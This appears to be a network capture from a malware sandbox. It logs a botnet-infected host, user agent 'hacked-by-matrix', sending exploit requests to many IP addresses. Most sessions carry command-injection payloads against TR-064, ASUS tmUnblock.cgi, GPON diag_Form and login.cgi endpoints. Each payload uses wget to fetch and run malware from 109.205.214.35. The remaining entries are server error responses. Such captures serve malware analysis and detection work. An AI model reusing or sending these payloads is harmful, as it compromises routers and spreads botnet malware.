Mar 21, 2024 05:23:11.844264984 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:23:11 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>
Mar 21, 2024 05:23:12.397756100 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:23:11 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.13	56518	37.36.79.76	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.811244965 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.13	45942	88.206.97.113	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.862040043 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.092726946 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 09:23:11 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:23:12.787794113 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 09:23:11 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.13	51492	34.43.231.147	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.927850008 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.13	58848	172.65.26.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.977518082 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.13	51552	34.43.231.147	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.035351038 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.13	39352	172.87.201.207	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.046572924 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:16.142712116 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:22.287373066 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:34.316256046 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.13	35072	31.111.34.165	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.052550077 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.13	50680	172.64.30.31	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.055126905 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.13	48946	172.67.231.20	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.067456007 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.13	46018	172.65.65.62	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.067792892 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.13	42890	172.67.62.240	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.069601059 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.13	42692	173.255.131.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.092729092 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:12.566272020 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:12.712012053 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; }
Mar 21, 2024 05:23:12.712104082 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 Data Ascii: .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat;
Mar 21, 2024 05:23:12.712145090 CET	1286	IN	Data Raw: 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a Data Ascii: } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } foote
Mar 21, 2024 05:23:12.712233067 CET	1286	IN	Data Raw: 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 Data Ascii: float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0;
Mar 21, 2024 05:23:12.712285042 CET	1286	IN	Data Raw: 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f 33 48 6e 79 43 37 74 31 35 6f 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 Data Ascii: kl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt
Mar 21, 2024 05:23:12.712325096 CET	1286	IN	Data Raw: 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a 6d 42 41 65 32 62 39 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 Data Ascii: 2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5K
Mar 21, 2024 05:23:12.712359905 CET	1122	IN	Data Raw: 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 61 79 49 53 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 Data Ascii: IwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g
Mar 21, 2024 05:23:12.712428093 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to slmp-550-68.slc.westdc.net's <a href="mailto:cpane
Mar 21, 2024 05:23:12.712440968 CET	375	IN	Data Raw: 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 Data Ascii: elwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyri

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.13	46744	212.227.182.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.140260935 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:13.164227009 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:14.348263025 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:16.912246943 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:17.135711908 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.13	35090	31.111.34.165	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.257957935 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

